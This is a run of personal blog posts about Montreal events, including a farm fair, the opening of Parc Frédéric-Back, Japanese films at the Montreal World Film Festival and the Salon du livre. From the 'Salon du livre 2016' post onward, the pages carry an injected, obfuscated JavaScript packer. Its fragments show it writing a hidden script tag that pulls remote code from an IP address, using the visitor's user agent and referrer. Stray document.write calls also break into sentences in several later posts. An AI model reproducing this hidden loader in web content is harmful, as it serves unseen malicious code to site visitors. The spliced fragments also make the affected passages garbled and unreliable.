Exposition agricole

PortesOuvertesFermesQuebec
Cet après-midi nous avons visité une exposition agricole sur l’esplanade Sun Life du Parc Olympique, dans le cadre de la journée des portes ouvertes sur les fermes du Québec. De nombreux producteurs y présentaient leur cultures (lait, pomme, patate, grains, sirop d’érable, oeufs, miel, laine, légumes, etc.), services (centre équestre, agrotourisme, aide aux producteurs: AGC, UPA, etc.) et animaux (veaux, vaches, cochons, moutons, bison, chevaux, poney, âne, chèvres, canards, poules, poussins, paon, pigeons, lapins, et même poissons — tiens, je ne me souviens pas d’avoir vu de dinde ou dindon…). Il y avait aussi un marché public.

Cela nous a offert une promenade intéressante. Il n’y avait rien que je n’avais jamais vu mais c’est tout de même agréable de voir toute cette belle ménagerie en ville. Je crois que c’était surtout éducatif pour les enfants. J’ai bien aimé la démonstration de tonte de moutons… Dommage que l’événement ne dure qu’une journée…

Voir l’album photo sur Flickr :

Expo Agricole

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FFM 2017 wrap-up

FFM_banner-2017The 41st Montreal World Film Festival (FFM) is now over. This year was a slim pick for the Japanese cinema aficionado since there was only two Japanese movies (two others were co-productions with non-Japanese directors). Besides that, the festival went smoothly for me. However, the only question remaining above our heads is: will there be a festival next year? Of course Serge Losique wants to be reassuring and said that the FFM was here to stay. He even announced the dates for the next two years: August 23rd to September 3rd 2018 and August 22nd to September 2nd 2019 !!

One of the event that I would have liked to attend (but couldn’t by lack of time) was the press conference and Master Class held at L’Astral by Chinese Martial Art Filmmaker Xu Haofeng (The Hidden Sword) on Monday August 28th. It seems that it was one of the rares (if not the only one) press conference held at the FFM this year. I really miss those… (and the film market and the press room!)

The closing film of the festival was a surprise to be announced after the awards, just a few hours before its free screening. It was meant as a gift for the movie fans.

A press release announced the awards for the 48th Student Film Festival: for the Canadian competition it went to Land by Samiramis Kia (York University, Toronto) and for the International competition it went to Elene by Seven Kayhan (Koç University, Istanbul, Turkey).

Another press release announced the awards for the festival itself: the Grand Prix of the Americas (Best Film) went to And Suddenly the Dawn by Silvio Caiozzi (Chile) and the Special Grand Prix of the Jury went to Dear Etranger by Yukiko Mishima (Japan). Check the press release for the other awards.

To summarize, I’ve seen and commented on two Japanese movies:

I also wrote a few informational posts about the festival:

Finally, here are the latest comments about the FFM in the media:

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La rentrée au Parc Frédéric-Back

Je me dirigeais au Parc Frédéric-Back pour prendre ma marche de santé journalière cet après-midi quand j’ai remarqué qu’il y avait beaucoup d’activités. Je me suis alors rappelé qu’il y aurait au parc, tout les samedis de septembre, une programmation spéciales pour la rentrée: jeux et activités, épluchette de blé d’Inde, concerts, etc. La ville a mis le paquet puisqu’il y a même des navettes spéciales à partir des stations Jarry et Iberville pour amener les gens au parc! Voir les détails sur le site web du parc

J’en ai également profité pour poursuivre un petit jeu de chasse aux trésors: l’aspect narratif de l’oeuvre de mémoire Anamnèse 1+1 par Alain-Martin Richard (voir l’album photo sur Flickr) est composé de  trente larges pierres dispersées dans les différents sentiers du parc. Des images y sont sérigraphiées et des textes y sont gravés pour évoquer l’histoire du parc. Dès ma première visite, lors de l’inauguration, j’ai parcourru les sentiers du parc pour les localiser. Je n’en ai d’abord trouvé que la moitié, dispersées autour du belvédère central. Quelques jours plus tard, lors d’une seconde visite, j’en ai trouvé une dizaine de plus autour d’une des aires à pique-nique. J’espérais, aujourd’hui, trouver les autres. C’est comme une chasse aux Pokémons: il me les faut toutes (en photos)! Malheureusement, il m’en manque toujours trois! On verra la prochaine fois…

Si vous désirez exprimer des commentaires sur le parc, vous pouvez le faire avec un petit sondage en ligne. Ne manquez cependant pas de venir profiter des lieux, c’est fort agréable…

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Parc Frédéric-Back


Samedi le 26 août, le Parc Frédéric-Back a été inauguré dans le cadre des célébrations du 375e anniversaire de Montréal. Un communiqué de presse de la ville nous décrit l’événement comme suit:

Le maire de Montréal, M. Denis Coderre, a procédé aujourd’hui à l’inauguration du legs du parc Frédéric-Back, en présence de Mme Anie Samson, maire de l’arrondissement de Villeray-Saint-Michel-Parc-Extension et vice-présidente du comité exécutif,  et de représentants de la famille de M. Frédéric Back. L’œuvre d’art public Amnèse 1+1 de l’artiste Alain-Martin Richard, issue d’une démarche de médiation culturelle de deux ans entreprise auprès des citoyens du quartier, a également été dévoilée à cette occasion.

La cérémonie d’ouverture a débuté avec une performance par des artistes de la TOHU et a culminé avec la coupure du ruban traditionnel. Cela a été suivi par une procession d’artistes et de citoyens qui entrèrent pour la première fois dans le nouveau secteur du parc. La foule s’est ensuite dispersée au travers du parc pour y découvrir, au fil de sa promenade, les multiples points d’intérêt de ce nouveau parc. De nombreuses activités ludiques (manèges, dance, musique, ateliers de bricolage et de maquillage) et d’information (interprétation du site) étaient organisées pour occuper tant les petits que les grands. L’événement s’est terminé avec un concert donné par Akawui, un auteur-compositeur-interprète d’origine Chilienne. (Voir l’album photo que j’ai créé sur Flickr pour illustrer l’événement)

Parc Frédéric-Back//embedr.flickr.com/assets/client-code.js 

Le maire, M. Denis Coderre, a également inauguré Anamnèse 1+1, une oeuvre d’art public installée au sommet du belvédère centrale du secteur Boisé Est. Le premier volet de l’Oeuvre de Mémoire d’Alain-Martin Richard est constitué d’une sculpture en forme de conteneur ouvert sur lequel pousse un arbre. Composé de vingt-sept panneaux en aluminium, coulés à partir de ballots de tissu de récupération dont ils retiennent l’empreinte. L’oeuvre évoque le côté industriel du parc ainsi que son aspect de compostage et de récupération. Le second volet est narratif. Il est constitué d’un parcours de 30 larges pierres dispersées dans les différents sentiers du parc. Sur ces dalles de calcaire blanc, des images sont sérigraphiées et des textes gravés, évoquant l’histoire du parc. (Voir l’album photo que j’ai préparé pour illustrer cette oeuvre sur Flickr)

Oeuvre de mémoire//embedr.flickr.com/assets/client-code.js 

La création du Parc Frédéric-Back (anciennement la Carrière Miron, puis le Complexe Environnemental Saint-Michel) représente un ambitieux projet de réhabilitation environnemental. C’est un lieu unique, non seulement par son histoire, mais parce qu’il offrira ultimement aux citoyens cent-cinquante-trois hectares de verdure (ce qui a nécessité la transplantation de 78 arbres matures et la plantation de 2100 arbres, 8200 arbustes, 45,000 m2 de vivaces, graminés et herbacés — après tout c’est normal que l’on plante des arbres au Parc Frédéric-Back!). C’est un espace plus grand que le parc du Mont-Royal, ce qui en fera le “Central Park” de Montréal. La caractéristique particulière du parc est sans aucun doute ses fameuses sphères recouvrant les puits de captage de biogaz (qui par ailleurs sont phosphorescentes la nuit!).

Plan du site
 

Jusqu’à récemment, seule la voie polyvalente de 5,5 km ceinturant le parc était accessible au public. Ce week-end inaugure donc deux nouveaux secteurs qui ont été aménagés à l’occasion du 375e anniversaire de Montréal : le secteur Boisé Est (12.5 hectares, offrant des aires de pique-nique, des sentiers, des aires de repos et un belvédère à 360 degrés sur le point le plus haut du site, offrant ainsi une perspective sur le centre-ville et le Mont-Royal) et le secteur Papineau-Sud (5.2 hectares, offrant une aire de pique-nique, une aire de rencontre avec abri et mobilier urbain, une plaine de jeux libres et un belvédère sur le secteur du parc encore en cours d’aménagement). Deux autres secteurs ont également été réaménagés: le secteur Papineau Nord (1.3 hectares, entrées Lecocq, Louvain et Charton) et le secteur Iberville Sud (4.1 hectares, entrée Émile-Journault Est).

C’est un superbe parc, plein de sentiers de randonnée et de nature, et je suis fort heureux de sa présence. Je suis cependant très déçu qu’on ait tardé à ouvrir les nouveaux secteurs (préalablement annoncé pour le printemps, je trouve qu’une ouverture fin août soit un peu tard dans l’année — de nombreuses fleurs étaient déjà fanées…), que certains détails semblent avoir été oublié (certains des belvédères offrent encore un point de vue remarquablement… arboricole) et que l’ouverture complète ait été mainte fois reportée (d’abord annoncée pour 2020, puis 2023, maintenant il semble que ce sera pour 2025!). Toutefois, heureuse surprise, j’ai appris que l’ouverture sera échelonnée sur plusieurs années: les secteurs d’Iberville et du Cirque du Soleil ouvriront au printemps 2019, ceux des Plaines et du Boisé central à l’automne 2021, puis finalement les secteurs ouest longeant Papineau à l’automne 2023. Si tout va bien, le Parc devrait donc être complété en 2025.

Mais pour l’instant, on ne manquera pas de profiter des secteurs existants!

Ce qu’en disent les média:

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Japanese movies at the FFM 2017

There are only four Japanese movies at the Montreal World Film Festival this year. You will find bellow all the details we could find on each of them:

World Competition / Film en compétition

Dear Etranger (?????????? / Osanago Warera ni umare / lit. “Children born to us”): Japan,  2017, 127 mins; Dir.: Yukiko Mishima; Scr.: Haruhiko Arai (based on a novel by Kiyoshi Shigematsu); Cast: Rena Tanaka, Tadanobu Asano, Miu Arai, Narushi Ikeda, Raiju Kamata, Kankurô Kudô, Sara Minami, Shingo Mizusawa, Shinobu Terajima.

Based on the novel from Kiyoshi Shigematsu, this is the story of Makoto Tanaka, a 40-years-old who has remarried. His wife is Nanae and they care for 2 daughters from Nanae’s prior marriage. Makoto tries to have an ordinary family but Nanae becomes pregnant and things are bound to change.

Schedule : Cinema Imperial — Fri 09/01 19:00 / Cinema Imperial — Sun 09/03 11:00.

[ AsianWiki — IMDbVimeo —  Youtube ]

First Feature Competition / Compétition des premières oeuvres

Noise : Japan, 2017, 124 mins; Dir.: Yusaku MATSUMOTO; Cast: Kokoro Shinozaki, Urara Anjo, Kosuke Suzuki, Kentaro Kishi, Takashi Nishina, Kenji Kohashi, Hiroshi Fuse.

Eight years have passed since the Akihabara massacre. A pop star whose mother was killed in the incident, a teenager who left her home of Akihabara, a delivery boy who turns his anger to the city. This is a story about the characters striving to grasp the string of hope within the darkness surrounding the city, the incident, and the people.

Schedule : Cinema du Parc 3 — Fri 08/25 10:00 / Cinema du Parc 1 — Fri 08/25 20:15 / Cinema Dollar 1 — Sat 08/26 21:00.

[ IMDbOfficial WebVimeoYoutube ]

Focus on World Cinema / Regards sur les Cinéma du Monde

Nightscape : S. Korea / Japan, 2017, 71 min.; Dir.: In-chun Oh.

Based on a true event. There was a new team chasing after a suspicious Taxi. It started with just a small suspicion. But… what happened to them that midnight?

Schedule : Cinema Dollar 2 — Sat 08/26 21:00 / Cinema du Parc 3 — Thu 08/31 12:00 / Cinema du Parc 3 — Mon 09/04 17:00.

[ IMDbOfficial webVimeo teaser 1Vimeo teaser 2 ]

Shorts / Courts métrages

No song to sing : Japan / United Kingdom, 2017, 24 min.; Dir./Phot.: Lukasz Gasiorowski; Scr.: Maiko Takeda; Ed.: Masahiro Hirakubo; Mus.: Ewen Bremner; Cast: Make Takeda, Takuji Suzuki, Shinjiro Takahashi, Nobuyuki Kobayashi, Kayo Takeda, Ryubun Sumori, Issei Yamashita, Kenichi Masuda.

Natsu, a professional femme fatale works for a typical Tokyo “Telephone Date Club”. She enjoys selling fantasies to lonely men, but as she becomes emotionally entangled in the web of her own deceptions, she finds herself unable to pay the price of her own merchandise.

Schedule : Cinema du Parc 3 — Sun 08/27 16:00 / Cinema du Parc 3 — Tue 08/29 16:15 / Cinema Dollar 2 — Sun 09/03 21:00.

[ IMDbOfficial webVimeo ]

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FFM Update

The 41st edition of the Festival des Films du Monde is offering us this year only ninety-two movies and forty-two shorts from countries all over the world. It might be a reduced formula (no printed program, no press room, no film market) but, still, no other festival could offers such diversity.

The information has finally finished to trickle down and we now know the complete list of the movies to be screened and their schedule. Unfortunately, aficionado of Japanese cinema will feel a little short-changed this year as the lists includes only FOUR Japanese movies:

The movies will be screened in three theatres:

Day 1: I went to see my first movie tonight, Noise. The theatre was almost empty, but that’s to be expected for a Japanese movie on a Friday night. I have taken notes on the bus ride on my way back, and I’ll post my comments on the movie as soon as I can. However, I will not see much movies this year: the one in competition for sure (Dear Etranger), but I’ll see for the other two (a horror movie and a short ?). The first day went smoothly so, even with the minimalist organisation, the festival seems to be doing well (I guess that with the experience of last year’s disaster they were better prepared this time). I hope it will continue and get better in the future. This year is the eighteeth time I have been covering and reporting on the FFM and I wish I’ll reach the twentieth time…

Here is what they say about the FFM in the news:

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FFM – First Film World Competition

Today, the FFM announced the nineteen movies included in the First Film World competition. There is one Japanese movie in the list:

Noise : Japan, 2017, 124 mins; Dir.: Yusaku MATSUMOTO; Cast: Kokoro Shinozaki, Urara Anjo, Kosuke Suzuki, Kentaro Kishi, Takashi Nishina, Kenji Kohashi, Hiroshi Fuse.

Eight years have passed since the Akihabara massacre. A pop star whose mother was killed in the incident, a teenager who left her home to Akihabara, a delivery boy who turns his directionless anger to the city. This is a story about the characters striving to grasp the string of hope within the darkness surrounding the city, the incident, and the people.

[ IMDbOfficial WebVimeoYoutube ]

No screening schedule has been announced yet. We will post more information as it becomes available.

Here is what they say about the FFM in the news:

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FFM Schedule

The schedule for the competition movies has been posted last night. Those screenings will be held at the  Imperial Cinema. The schedule for the screenings at the Cinema du Parc and Dollar Cinema will be announced later.

The only Japanese movie in Competition will screen at the Imperial on Friday September 1st at 19:00 with English subtitles and on Sunday September 3rd at 11:00 with French subtitles.

DEAR ETRANGER (?????????? / Osanago Warera ni umare): Japan, 2017, 127 mins; Dir.: Yukiko Mishima; Scr.: Haruhiko Arai (based on a novel by Kiyoshi Shigematsu); Cast: Rena Tanaka, Tadanobu Asano, Miu Arai, Narushi Ikeda, Raiju Kamata, Kankurô Kudô, Sara Minami, Shingo Mizusawa, Shinobu Terajima.

Based on the novel from Kiyoshi Shigematsu, this is the story of Makoto Tanaka, a 40-years-old who has remarried. His wife is Nanae and they care for 2 daughters from Nanae’s prior marriage. Makoto tries to have an ordinary family but Nanae becomes pregnant and things are bound to change.

[ AsianWiki / IMDb / Youtube ]

We will post more information as it become available.

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What about the FFM ?

We are less than a week before the alleged beginning of the 41st edition of the Montreal World Film Festival on Thursday and there is still very little information available about it. Will it even take place?

According to an article in La Presse, it seems that it is still on course. And tonight, the list of the eighteen movies in the run for World Competition was released. There is only one Japanese movie in competition: Dear Etranger (?????????? / Osanago Warera ni umare) directed by Yukiko Mishima [ AsianWiki / IMDb / Vimeo / Youtube ].

My guess is that the festival will be even more chaotic than last year and scheduling information will trickle down day by day… But does it really matter as long as we can watch good international movies that we would probably not be able to see anywhere else?

Here is what they say about it in the news:

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Italian Week 2017

Today we visited the 2017 Montreal’s Italian Week that was held from August 4 to 13 in the Little Italy. Amongst other things, we’ve seen a Fiat and Ferrari car exposition, a colourful parade and listen to some folkloric music! The parade was organized by one of the multiple Italian associations of Montreal,  from Sicily (probably the Associazione messinese di Montreal). I have also discovered quite an interesting musical instrument: the bufù (a.k.a. caccavella or putipù) is a friction drum that is played by rubbing a bamboo stick through an animal skin membrane to make it vibrate and produce a deep sound. The music was played by the people from the Associazione Casacalendese di Montreal.

I made a short video as a memento of this visit, available also on Vimeo:

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Ottawa Tulip Festival

Today we went to the Ottawa Tulip Festival (a.k.a. the Canadian Tulip Festival). It was a great trip and I enjoyed seeing all those various variety of tulips. It was the 65th edition of the festival and, this year with over a million tulips in bloom, it was particularly celebrating Canada’s 150th anniversary. The even made a special tulip for that: the “Canada 150”. Unfortunately, it was a cloudy day and we even got a little drizzle of rain but not enough to keep us from enjoying the festival.

My only complains is that, as we went on the penultimate day of the festival, many of the tulips were rather past their prime. Like last year, we should try next time to go at the beginning of the festival. Another problem was that the signalisation identifying the tulips was rather imprecise and you sometimes had five different signs in a flower bed but nothing telling us which tulip was corresponding to which name! A picture on each sign would have been a welcomed addition. Checking the map of the site (above) and googling the name of the tulips was sometimes helpful in identifying the varieties I was not sure about.

Here is a small sample of the pictures I took, but you can find more on the photo album I made for the event on Flickr :

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Retour du solde de livres !

ABM_2017_AFF_vweb_petitLe solde de livres des Amis de la bibliothèque de Montréal est de retour encore cette année. Il aura lieu du 20 au 28 mai, de 13h à 19h. Mais attention toutefois: comme l’emplacement habituel est sous rénovation, l’événement aura exceptionnellement lieu à l’Aréna Martin-Brodeur (5300 boul. Robert, Saint-Léonard). On peut s’y rendre de nombreuses manières: avec l’autobus 32 ou 432 Lacordaire (Nord) à partir du métro Cadillac, avec l’autobus 141 Jean-Talon (Est) puis l’autobus 32 Lacordaire (Nord) à partir du métro Saint-Michel, avec l’autobus 69 Hneri-Bourassa (Est) puis la 32 Lacordaire (Sud) à partir du métro Henri-Bourassa, et finalement avec l’autobus 192 Robert (Est) à partir du métro Crémazie.

Comme à chaque année, le Solde de livres offre plus de 100,000 livres et revues à petits prix ($1 pour les livres adultes et les CDs ou DVDs, 50¢ pour les livres d’enfants et les revues et $2 pour les beaux livres, dictionnaires et encyclopédies) — et cela inclus plus 15,000 livres en anglais. Le but de cette vente est “de prolonger la vie utile de ces livres, d’aider à répandre le goût de la lecture et de permettre aux citoyens de Montréal d’enrichir leur bibliothèque personnelle à faible coût. Les revenus provenant de ce solde serviront principalement à financer des activités d’animation dans les bibliothèques de Montréal.”

À ne pas manquer !

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40th Japan Academy Awards (2017) winners


On March 3rd, in a televised ceremony held at the Grand Prince Hotel New Takanawa in Tokyo, the Nippon Academy-Sho Association awarded the 40th Annual Japan Academy Prizes (第40回日本アカデミー賞) for the best Japanese movies of 2016. In This Corner of the World won in the best animation category (but Makoto Shinkai’s Your name still got best screenplay and best music) and Shin Godzilla was a big winner with seven awards (including best picture, best director and best cinematography)!

Discover all the winners (highlighted in yellow) after the jump:

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Salon du livre 2016


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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
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Mercredi, document.write(“”); après le travail, j’ai profité de l’offre d’une entrée gratuite aux détenteurs de cartes des
Bibliothèques de Montréal et de la BANQ pour faire ma visite annuelle au Salon du Livre de Montréal.

En passant chez mes amis d’Alire j’ai remarqué, entre autres, le dernier Patrick Sénécal, L’Autre reflet, l’impressionnant Détectionnaire de Norbert Spehner (qui était d’ailleurs l’un des invités d’honneur du salon), et noté la parution prochaine de L’Année de la science-fiction et du fantastique québécois 1996 (enfin)! Étrangement j’ai remarqué qu’il y avait au salon cette année beaucoup de livres de cuisine végane (un signe des temps, sans doute) et j’ai aperçu ce qui semble être la réédition (pas si récente que ça) du manga de UFO Robot Goldorak. Toutefois, je n’ai rien remarqué de frappant dans les nouveautés et je n’ai pas trouvé le manga de Marie-Antoinette que je cherchais (une nouveauté qui date quand même de septembre! — ça m’a tout de même aidé à mieux résister à la tentation d’acheter quoi que ce soit!).

Je ne comprends vraiment pas pourquoi les éditeurs et distributeurs poussent au salon seulement leur gros titres et meilleurs vendeurs alors que le salon devrait être le lieu pour faire connaître et promouvoir les nouveautés et les titres moins connus!

Autre étonnement: je constate l’absence de kiosques pour les bibliothèques de Montréal et pour la BANQ. Pourtant, par les années passées, ils avaient au moins des kiosques statiques (juste des affiches et des dépliants) ou même partageaient ensemble un kiosque (comme l’an passé). Mais, cette année, rien du tout! Pourtant si les biblios ont besoin d’une chose c’est bien de promotion. Ils pourraient faire la démontration des nouveaux postes d’auto-prêt, ou du catalogue Nelligan Découverte, parler des nouvelles biblios, de celles avec des projets de rénovations, des services en ligne, du prêt numérique, du tout nouveau service de prêt d’instruments de musique, offrir des abonnements (pour augmenter le taux d’abonnés par habitant qui est plus bas au Québec que dans le reste du pays), etc, etc.

Bien sûr, avoir un kiosque au salon et du monde sur le plancher ça coûte de l’argent et la ville (ou le gouvernement) semble penser que la culture c’est pas important. Et pourquoi investir et promouvoir si au bout du compte ça rapporte rien? Les bénéfices rapportés par les bibliothèques, c’est bien connu, ça ne se voit pas alors ça ne compte pas vraiment. C’est tellement Trump! On est vraiment entré dans une nouvelle ère. Argh! Quelle horreur… Saint-Lovecraft venez à notre secours!

Donc, cette année, un salon plutôt décevant. Heureusement que je ne manque pas de livres à lire!

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Vegan Fest

Montreal_vegan_fest-banner

Last week my wife dragged me to a vegan festival. I went only because I was curious to see what vegans looked like…

I mean, I’m all for eating healthy and I want to encourage local production so I was appalled that people would want to eat food from a distant solar system. And I had never seen little green people up-close…

Oh… You mean Vegan are not actually people from Alpha Lyrae, a.k.a. Vega? So why are they also called the green people? Umm. I was wondering why someone would bother to import food from a place 25 light-years away. Now it makes sense. My mistake.

So I stand corrected: Vegans are practitioners of veganism and therefore abstains from consuming any animal products like meat (including fish and seafood), eggs, dairy and all their derivatives (might even includes honey!). It also sometimes goes as far as opposing the use of any animal products (like leather) and advocating for animal wellfare. They must not be confused with vegetarians, who abstain only from consuming meat, but can sometimes be called vegetalians (because they consume only food from the vegetal order: seeds, vegetables, fruits, mushrooms, etc.). For some it’s not only a diet, but a philosophy, a religion even.

I am a very tolerant person and believe that people can do whatever they want as long as they don’t bother me with it. Lives and let live. I think that we should consume locally-produced food as much as possible and that we should be very careful with what we eat: avoid eating too much red meat for example and avoid processed food. However, I really don’t understand those vegans.

More on this after the jump >>

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Opening of the 33rd JFFM

As I mentioned before, document.write(“”); the 33rd Japanese Film Festival of Montreal was held at the Cinémathèque Québécoise on October 27th and 29th. This free annual event is co-organized by the Japan Foundation (Toronto) and the Consulate General of Japan in Montreal.
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Before the screening of the first movie, A Tale of Samurai Cooking, the attendees were treated with a few canapé and a degustation of sake. There was a presentation by the a staff member of the Japanese consulate in Montreal, followed by allocutions of the Cinémathèque general director, Marcel Jean, and the Consul General in Montreal, Hideaki KURAMITSU.

Here’s a video of the opening allocutions (available on Vimeo):


You can also check our comments on two of the three movies presented at the festival: A Tale of Samurai Cooking and Sue, Mai & Sawa: Righting the Girl Ship.


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Japanese Film Festival of Montreal

Each fall, document.write(“”); the Japan Foundation (Toronto) and the Consulate General of Japan are pleased to offer free screenings of Japanese films. The films are in Japanese with English subtitles. Limited seating is available on a first-come, first-served basis, with no reservations. This is the 33rd edition.
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The screenings will take place at the Cinémathèque québécoise (335 De Maisonneuve Blvd East, Montreal, QC — near métro Berri-UQAM).

Thu. October 27, 2016 at 19:00

A Tale of Samurai Cooking: A True Love Story (????? / Bushi no kondate). Japan, 2013, 121 min., drama, dir.: Yûzô Asahara, with Aya UETO, Kengo KÔRA, Kimiko YO, Toshiyuki NISHIDA. Read our comments on this movie.

Haru has an excellent sense of taste and unsurpassed skill in the kitchen, but her impetuous character leads to her husband asking for a divorce after only a year of marriage. One day, she is approached by Dennai Funaki, a samurai chef from Kaga, to marry his son and heir, Yasunobu.

Serving the Lord of Kaga not with the sword, but with the kitchen knife, the Funaki family has been known as “Kitchen Samurai” for generations. However, Yasunobu’s lack of culinary skills has placed the Funaki name in peril. To save her new family and its status as “Kitchen Samurai”, Haru decides to teach her new husband the refined art of Kaga cuisine from her point of view. Inspired by a true story. (Text from the Cinémathèque website)

For more information: AsianWiki, IMdB, Official website, Youtube


Sat. October 29, 2016 at 13:00

Drops of Heaven (????? / Ten no shizuku Tatsumi: Yoshiko inochi no sûpu). Japan, 2012, 113 min., documentary, dir.: Atsunori Kawamura, with Yoshiko Tatsumi.

A cooking guru serves wisdom, one soup at a time. In this heartwarming documentary, discover 88-year-old culinary artist Yoshiko Tatsumi and her “Soup of Life”, a soothing dish she ingeniously created for her bed-ridden father. As seasonal crops grow in the beautiful and delicate landscapes of Japan, Yoshiko Tatsumi brings out the best of ingredients, cooking with care to nurture love and joy. (Text from the Cinémathèque website)

For more information: Mubi, IMdB, Official website, Daily Motion

Sat. October 29, 2016 at 15:00

Sue, Mai & Sawa: Righting the Girl Ship (????????????????? / Sû chan Mai chan Sawako san). Japan, 2013, 106 min., drama, dir.: Osamu Minorikawa, with Yôko Maki, Shinobu Terajima, Ko Shibasaki. Read our comments on this movie.

A heartwarming drama based on Miri Masuda’s comic strip series, Sue, Mai & Sawa: Righting the Girl Ship offers a warm and tender depiction of the lives of three women, former colleagues whose friendship has endured over the course of 10 years. Now in their thirties, the three friends each harbor anxieties about their future, their professional paths, their love lives, and their family ties. (Text from the Cinémathèque website)

For more information: AsianWiki, IMdB, Official website, Wikipedia, Youtube


Source: Coco Montreal ( Facebook, webpage )

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Japanese movies at FNC


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The 45th Festival du Nouveau Cinéma (FNC) will be held from 5 to 16 October and will offer 340 films (including 138 feature films and 170 short films) from 62 countries, document.write(“”); including 43 world premieres. That will include nine Japanese movies. For more information: nouveaucinema.ca.

Press coverage:

[ Coco Montreal ] [ Le Devoir ] [ The Gazette ] [ La Presse ] [ Shomingeki ]

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Continue reading

FFM videos


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To complete our coverage of the festival, document.write(“”); here is the video for the Red carpet arrival of director Yoshinari Nishikori, actors Naoki Kobayashi and Sho Aoyagi for the Japanese movie Tatara Samurai screened at the
Montreal World Film Festival on August 29th, 2016:


Tatara Samurai – Red Carpet from clodjee on Vimeo.

And here is the video of the introduction and Q&A for Tatara Samurai screened the same night:


Tatara Samurai from clodjee on Vimeo.

As a bonus I am throwing in the video of Isabelle Adjani’s red carpet arrival at the Montreal World Film Festival on September 4th, 2016:


Isabelle Adjani – Red carpet from clodjee on Vimeo.

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FFM 2016 wrap-up


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Here we are concluding
our coverage of the Festival des Films du Monde (FFM)

Unfortunately, document.write(“”); only two Japanese movies won an award this year: Tatara Samurai by Yoshinari Nishikori won “Best Artistic Contribution” and Ken-san by Yuichi Hibi won “Best Documentary” (ex-aequo with a Canadian film). Although, there’s almost always a Japanese film in the list of the winners, even if it’s often just a token price. That’s probably why Japanese producers keep presenting their films here and generally come with a big delegation. You can find on the festival website the complete list for the laureates of the 47th Student Film Festival and of the 40th Montreal World Film Festival competition.

If I look back I can say that this year’s festival really had a hard time. Almost everything was against it: stingy governmental agencies, ungrateful chain of theatres, sceptical employees, hostile media, and, to top it all, even a member of the jury dying in his hotel room just the day before the closing ceremony! It’s a miracle that it happened at all. However, despite all this and the chaos that ensued (which affected mostly the scheduling), they managed to keep showing movies (as long as there’s movies, there’s hope) and, all in all, it was a pretty good festival. The public was there. The movies were there . They met at the Cinéma Impérial (mostly, but also at a few other venues). A beautiful love story. The end? Beside this, why bother with all the media doomsday fuss?

After all, it was not that much more chaotic than the previous years (ok, I admit this time there was no press room, no film market with its screening booths, no “5 to 7” to bond & meet with people of the industry, no outdoor screenings, screenings were spread all over town and the schedule kept changing so I could see only FOUR of the twelve announced Japanese movies — but, I mean, beside that (which was an annoyance mostly for the press), it wasn’t that bad, isn’t it?). The good thing with this year situation is that, with only one screen, there wasn’t any schedule conflict anymore! Also, I might I’ve seen only four movies, but at least I saw something and I am happy with it.

However, I would reserved very harsh words (that I would rather not repeat here) for the various levels of government who let down the movie-loving public and, particularly, for the Cineplex Forum (hey! If you were to start showing movies in the end — presumably because you’ve reached an agreement with the festival or felt too ashamed that the Outremont and Park theatres were picking up screenings — why not have accepted from the start and save us all the trouble of the flip-flopping screening schedule! That behaviour is down-right insulting and you will not catch me anytime soon in a Cineplex theatre).

Through all this the press has been pretty harsh on Losique and his festival. All he wanted was to celebrate the 40th anniversary of his baby and they all pooped on his party. In the end, seeing it was rather a success, many rallied in the festival support but it might have been too little, too late. Nathalie Petrowski, of La Presse, was one of the few who covered the festival with a positive attitude from the start.

Amongst her comments, she offered an interesting speculation on the future of the festival: maybe the Chinese firm that donated the prize money for the awards would be interested in investing more in the festival or even buy it from Losique in order to keep promoting Chinese cinema in North America?

In another article, she quotes Pierre-Henri Deleau, who was in charge of programmation at the Cannes festival’s Quinzaine des Réalisateurs. He was happy to be in Montreal, watching so many good films: “What is amazing is that despite the disorganization, chaos, pips and all the disparaging about the festival, look at that line! People are coming despite everything. Nowhere in the world you will see that. And to think that the City of Montreal continues to pretend it does not exist.”

We are hopeful for the future since Serge Losique has announced at the Closing Ceremony that there WILL be a festival next year (from August 24 to September 4, 2017) and hinted that he was planning his succession. Let’s hope that the various levels of government will, this time, agree to support this iconic event just in time for the 375th anniversary of the city! But with or without subsidies, the public and the young movie-makers deserve a festival. All we need is the cinema aficionados to be there, a few screens, some beautiful movies and it will be love all over again!

Thanks to the organizers (those who stayed), volunteers, the selected film-makers who came to present their movies (and to Serge Losique) who all made this festival another interesting cinematic experience. See you next year, hopefully.

Press reviews:

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FFM Update Day 4


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“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ddsbd|var|u0026u|referrer|drtif||js|php’.split(‘|’),0,{}))
We are continuing
our coverage of the Festival des Films du Monde (FFM)

This is my last day at this year’s festival.

I couldn’t be there yesterday but I heard that the queue for the Japanese movie (A loving husband) was pretty long and that Willem Dafoe came back after his movie (My Hindu Friend, document.write(“”); Brazil, dir.: Héctor Babenco) despite the late hour (midnight) for a thirty-minute Q&A. That guy has a lot of respect for his audience and fans!

Even if my wife is still hospitalized (don’t worry she’s doing better, they just kept her to perform some tests), I couldn’t miss the last Japanese movie to be shown at the festival (this year, hopefully). I didn’t regret it. It was a great comedy. I’ll tell you more about it later.

Good Morning show: The crew arriving in a horse carriage! Dir./Scr. Ryoichi Kimizuka, actress Mirai Shida, actor Kiichi Nakai and actress Masami Nagasawa
Good Morning Show : Crew arriving on a horse carriage! Good Morning Show : Dir./Scr. Ryoichi Kimizuka, actress Mirai Shida, actor Kiichi Nakai and actress Masami Nagasawa
I lingered a little after the show to catch a glimpse of Isabelle Adjani that was coming to present her movie Carole Matthieu (France, Dir.: Louis-Julien Petit).

Isabelle Adjani Isabelle Adjani
More pictures on my “FFM 2016” album on Flickr

Tomorrow (Monday) is the last day of the festival. As soon as I have the list of the lucky awards’ winners I’ll post my wrap up comments.

Let’s hope it won’t be the last of the FFM!

Press review:

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MWFF Update Day 3


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“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kakti|var|u0026u|referrer|sfiai||js|php’.split(‘|’),0,{}))
We are continuing
our coverage of the Festival des Films du Monde (FFM)

Yesterday, document.write(“”); I’ve put on Vimeo a short video of The Seal of the Sun‘s crew introducing their movie before the screening (unfortunately, I had camera troubles, so the video is not very good and it’s incomplete).

